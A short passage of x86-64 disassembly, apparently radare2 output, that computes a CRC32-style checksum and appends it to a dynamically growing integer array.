movzx eax, byte [rsp + 0x33]
xor edi, dword [r8 + rcx*4]
movzx ecx, dil
shr edi, 8
xor rcx, rax
xor edi, dword [r8 + rcx*4]
mov r8d, dword [rbx + 4]
not edi
cmp edx, r8d
jne 0x140018d5c
lea ecx, [rdx + 1]
test r8d, r8d
je 0x140018d48
mov eax, r8d
cdq
sub eax, edx
sar eax, 1
add eax, r8d
jmp 0x140018d4d
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
mov edx, ecx
mov rcx, rbx
call fcn.14002fe60
movsxd rcx, dword [rbx]
mov rax, qword [rbx + 8]
mov rsi, qword [rsp + 0x40]
mov dword [rax + rcx*4], edi
inc dword [rbx]
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret